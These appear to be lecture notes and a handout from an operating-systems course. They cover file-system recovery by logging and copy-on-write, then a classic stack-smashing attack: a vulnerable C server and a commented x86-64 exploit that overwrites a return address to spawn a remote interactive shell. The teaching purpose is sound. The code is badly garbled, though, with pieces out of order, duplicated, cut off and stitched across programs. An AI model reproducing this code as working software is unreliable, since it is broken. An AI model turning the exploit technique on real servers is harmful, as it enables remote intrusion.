CS202

LAST TIME
- File System Recovery
  1. Ad Hoc/FSCK
  2. Copy On Write
  3. Logging
    a. Redo

Today
  1. Undo
  2. UndotRedo

SECURITY

Reminder from Before Thanksgiving
  - Goal of Recovery
    - Remain consistent despite inopportune crashes
    - Metadata consistency
  - Data consistency
Logging
  - Record how to restore consistency before changing the disk

Q1. Where to record?

Q2. What to record? Depends on type of logging, redo?

Q3. How to recover?
  - Redo
<table>
<thead>
<tr>
<th><strong>Redo</strong></th>
<th><strong>Undo</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>+</td>
<td></td>
</tr>
</tbody>
</table>
Combining Redo + Undo Logging

Why?

How? See Notes.

Security-I

Why?
Today: Stack Smashing
- A Type Of Bug You Already Saw.

```c
int main(...) {
    f();
}
```

```c
void f() {
    printf("hello\n");
}
```

**WHAT HAPPENS IF WE CHANGE `%RBP-8`?**

```
int main(...) {
    serve();
}
```

```c
void serve() {
    int n;
    char buf[96];
    copy(
    }
```

Today: Changing It Remotely
Switch to handout

Where we are:

What We Want

Must connect buggy-server to the network
Switch to handout.

Putting it together: Making this useful

[Demo]

[Handout]
(a) Initial State
(b) System allocates and creates new versions of all modified blocks.
(c) System updates Uberblock to point to new version of blocks.

Figure 1: Copy-on-write filesystem: modifying a data block
Figure 2: Copy-on-write filesystem: adding a data block

(a) Initial State
(b) System allocates and creates new versions of all modified blocks.
(c) System updates Uberblock to point to new version of blocks.
(a) Initial State

(b) System allocates and creates new versions of all modified blocks.

(c) System updates Uberblock to point to new version of blocks.

Figure 3: Copy-on-write filesystem: creating a file
Figure 4: Redo logging in a filesystem
1. Introduction to buffer overflow attacks

There are many ways to attack computers. Today we study the "classic" method.

This method has been adapted to many different types of attacks, but the concepts are similar.

We study this attack not to teach you all to become hackers but rather to educate you about vulnerabilities: what they are, how they work, and how to defend against them. Please remember: although the approaches used to break into computers are very interesting, breaking in to a computer that you do not own is, in most cases, a criminal act.

2. Let’s examine a vulnerable server, buggy−server.c

3. Now let’s examine how an unscrupulous element (a hacker, a script kiddie, a worm, and so on) might exploit the server.

Thanks to Russ Cox for the original version of the code, targeting Linux’s 32-bit x86.
/*
 * This server is very simple so just tells the client whatever
 * the client gave the server. A real server would process buf
 * somehow.
 */

fprintf(stdout, "you gave me: %s
", buf);
fflush(stdout);
}

int
main(void)
{
serve();
return 0;
}

int
dial(uint32_t, uint16_t);

int
main(int argc, char ** argv)
{
char buf[400];
int n, fd;
long int addr;
uint32_t server_ip_addr; uint16_t server_port;
char* msg;

if (argc != 3) {
    fprintf(stderr, "usage: %s ip_addr port
", argv[0]);
    exit(1);
}

server_ip_addr = inet_addr(argv[1]);
server_port = htons(atoi(argv[2]));

if ((fd = dial(server_ip_addr, server_port)) < 0) {
    fprintf(stderr, "dial: %s
", strerror(errno));
    exit(1);
}

if ( (n = read(fd, buf, sizeof(buf)-1)) < 0) {
    fprintf(stderr, "socket read: %s
", strerror(errno));
    exit(1);
}

buf[n] = 0;
if(strncmp(buf, "the address of the buffer is " , 29) != 0) {
    fprintf(stderr, "bad message: %s
", buf);
    exit(1);
}

addr = strtoull(buf+29, 0, 0);
fprintf(stderr, "remote buffer is %lx
", addr);

/*
 * the next lines write a message to the server, in the format
 * that the server is expecting: first the length (n) then the
 * message itself.
 */

msg = "hello, exploitable server."
    n = strlen(msg);
write(fd, &n, sizeof n);
write(fd, msg, n);

while ((n = read(fd, buf, sizeof buf)) > 0)
    write(1, buf, n);

return 0;
}

int
dial(uint32_t dest_ip, uint16_t dest_port) {
    int fd;
    struct sockaddr_in sin;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        return -1;
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;

/* This function contains boilerplate code for setting up a
TCP server. It's called "announce" because, if a network does not
filter ICMP messages, it is clear whether or not some service is listening on the given port. */

int announce(int port)
{
    int fd, n;
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        perror("socket");
    return fd;
}

if (connect(fd, (struct sockaddr*)&sin, sizeof(sin)) < 0)
    return -1;

/* begin a TCP connection to the server */

if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    return -1;
}

n = 1;
if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0) {
    perror("reuseaddr");
    close(fd);
    return -1;
}

fcntl(fd, F_SETFD, 1);
if(bind(fd, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
    perror("bind");
    close(fd);
    return -1;
}

if(listen(fd, 10) < 0) {
    perror("listen");
    return -1;
}
```

---

**honest-client.c**

```
/*
* Author: Russ Cox, rsc@csail.mit.edu
* Date: April 28, 2006
*
* (Comments by MW.)
*
* This program is a simplified 'inetd'. That is, this program takes some
other program, 'prog', and runs prog "over the network", by:
*
* --listening to a particular TCP port, p
* --creating a new TCP connection every time a client connects
*    on p
* --running a new instance of prog, where the stdin and stdout for
*    the new process are actually the new TCP connection
*
* In this way, 'prog' can talk to a TCP client without ever "realizing"
* that it is talking over the network. This "replacement" of the usual
* values of stdin and stdout with a network connection is exactly what
* happens with shell pipes. With pipes, a process's stdin or stdout
* becomes the pipe, via the dup2() system call.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;
```
close(fd);
return −1;
}

if (fd > 2)
close(fd);
/* Now run 'prog' */
execvp(execargs[0], execargs);

/* If the exec was successful, tcpserve will not make it to this line. */
printf("exec %s: %s
", execargs[0], strerror(errno));
fflush(stdout);
exit(0);

main(int argc, char **argv)
{
    int afd, fd, port;
    struct sockaddr_in sin;
    struct sigaction sa;
    socklen_t sn;
    if (argc < 3 || argv[1][0] == '−') {
        Usage:
        fprintf(stderr, "usage: tcpserve port prog [args...]");
        return 1;
    }
    port = atoi(argv[1]);
    if (port == 0)
        goto Usage;
    execargs = argv+2;
    sa.sa_handler = SIG_IGN;
    sa.sa_flags = SA_NOCLDSTOP|SA_NOCLDWAIT;
    sigaction(SIGCHLD, &sa, 0);
    if((afd = announce(port)) < 0)
        return 1;
    sn = sizeof sin;
    while((fd = accept(afd, (struct sockaddr *)&sin, &sn)) >= 0) {
        /* At this point, 'fd' is the file descriptor that
        * corresponds to the new TCP connection. The next
        * line forks off a child process to handle this TCP
        * connection. That child process will eventually become
        * 'prog'. */
        switch(fork()){
        case −1:
            fprintf(stderr, "fork: %s", strerror(errno));
            close(fd);
            break;
        case 0: /* this case is executed by the child process */
            startprog(fd);
            _exit(1);
            break;
        }
/* Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 * Comments and modifications by Michael Walfish, 2006−2015
 * Ported to x86−64 by Michael Walfish, 2019
 * This program exploits the server buggy−server.c. It works by taking
 * advantage of the facts that (1) the server has told the client (that is, us)
 * the address of its buffer and (2) the server is sloppy and does not check
 * the length of the message to see whether the message can fit in the buffer.
 * The exploit sends enough data to overwrite the return address in the
 * server’s current stack frame. That return address will be overwritten to
 * point to the very buffer we are supplying to the server, and that very buffer
 * contains machine instructions! The particular machine instructions
 * cause the server to exec a shell, which means that the server process
 * will be replaced by a shell, and the exploit will thus have "broken into"
 * the server.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char** argv)
{
    char helpfulinfo[100];
    char msg[REMOTE_BUF_LEN + NCOPIES*8];

    int i, n, fd;
    long int addr;
    uint32_t victim_ip_addr;

    if (argc != 3) {
        fprintf(stderr, "usage: exploit ip_addr port
    exit(1);
    }

    victim_ip_addr = inet_addr(argv[1]);
    victim_port = htons(atoi(argv[2]));
    fd = dial(victim_ip_addr, victim_port);

    if (fd < 0){
        fprintf(stderr, "dial: %s
    exit(1);
    }

    /* this line reads the line from the server wherein the server
     * tells the client where its stack is located. (thank you,
     * server!) */
    n = read(fd, helpfulinfo, sizeof(helpfulinfo)−1);

    /* null−terminate our copy of the helpful information */
    if (n < 0){
        fprintf(stderr, "read: %s
    exit(1);
    }

    /* Pull out the actual address where the server’s buf is stored.
     * we use this address below, as we construct our assembly code.
     * addr = strtooll(helpfulinfo+29, 0, 0);
     */
    if (strncmp(helpfulinfo, "−i\0", 29) != 0){
        fprintf(stderr, "bad message: %s
    exit(1);
    }

    /* Check to make sure that the server gave us the helpful
     * information we were expecting.
     */
    if (strcmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
        fprintf(stderr, "bad message: %s", helpfulinfo);
    exit(1);
    }

    /* We’ll copy the shellcode into msg and also "fill out" this little assembly
     * program with some needed constants.
     */
    memmove(msg, shellcode, sizeof(shellcode));
    fprintf(stderr, "remote buffer is at address %s", addr);
    fprintf(stderr, "/bin/sh\0");
    exit(1);

    /* Here, we construct the contents of msg. We’ll copy the
     * shellcode into msg and also "fill out" this little assembly
     * program with some needed constants.
     */
    memmove(msg, shellcode, sizeof(shellcode));

    /* fill in the arguments to exec. The first argument is a
     * pointer to the name of the program to execute, so we fill in
     * the address of the string, "/bin/sh".
     */

    /* offsets into assembly */
    MovRdi = 9, /* constant moved into rdi */
    MovRsi = 19, /* ... into rsi */
    MovRdx = 29, /* ... into rdx */
    Arg0 = 39, /* string arg0 ("/bin/sh") */
    Arg1 = 47, /* string arg1 ("−i") */
    Arg0Ptr = 50, /* ptr to arg0 (=argv[0]) */
    Arg1Ptr = 56, /* ptr to arg1 (=argv[1]) */
    Arg2Ptr = 66, /* zero (=argv[2]) */
    }
* The second argument is a pointer to the argv array (which is itself an array of pointers) that the shell will be passed. This array is currently not filled in, but we can still put a pointer to the array in the shellcode.

/* The second argument is a pointer to the argv array (which is itself an array of pointers) that the shell will be passed. This array is currently not filled in, but we can still put a pointer to the array in the shellcode. */

*(long int*)(msg + MovRdi) = addr + Arg0;

/* The array of addresses mentioned above are the arguments that */
/* /bin/sh should begin with. In our case, /bin/sh only begins */
/* with its own name and "−i", which means "interactive". These */
/* lines load the ‘argv’ array. */

*(long int*)(msg + MovRsi) = addr + Arg0Ptr;

/* The third argument is the address of a location that holds 0 */
/* (long int*)(msg + MovRdx) = addr + Arg2Ptr; */

/* The array of addresses mentioned above are the arguments that */
/* /bin/sh should begin with. In our case, /bin/sh only begins */
/* with its own name and "−i", which means "interactive". These */
/* lines load the ‘argv’ array. */

*(long int*)(msg + Arg0Ptr) = addr + Arg0;
*(long int*)(msg + Arg1Ptr) = addr + Arg1;

/* This line is one of the keys -- it places NCOPIES different copies */
/* of our desired return address, which is the start of the message */
/* in the server’s address space. We use multiple copies in the hope */
/* that one of them overwrites the return address on the stack. We */
/* could have used more copies or fewer. */

for(i=0; i<NCOPIES; i++)
  *(long int*)(msg + REMOTE_BUF_LEN + i*8) = addr;

n = REMOTE_BUF_LEN + NCOPIES*8;

/* Tell the server how long our message is. */
write(fd, &n, 4);

/* And now send the message, thereby smashing the server’s stack. */
write(fd, msg, n);

/* These next lines: */
/* (1) read from the client’s stdin, and write to the network */
/* connection (which should now have a shell on the other */
/* end); */
/* (2) read from the network connection, and write to the */
/* client’s stdout. */
/* */
/* In other words, these lines take care of the I/O for the */
/* shell that is running on the server. In this way, we on the */
/* client can control the shell that is running on the server. */

switch(fork()){
  case 0:
    while((n = read(0, msg, sizeof(msg)) > 0))
      write(fd, msg, n);
    fprintf(stderr, "eof from local\n");
    break;
  default:
     while((n = read(fd, msg, sizeof(msg)) > 0))
      write(1, msg, n);
    fprintf(stderr, "eof from remote\n");
    break;
}
return 0;

/* boilerplate networking code for initiating a TCP connection */
int
dial(uint32_t dest_ip, uint16_t dest_port){
  int fd;
  struct sockaddr_in sin;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;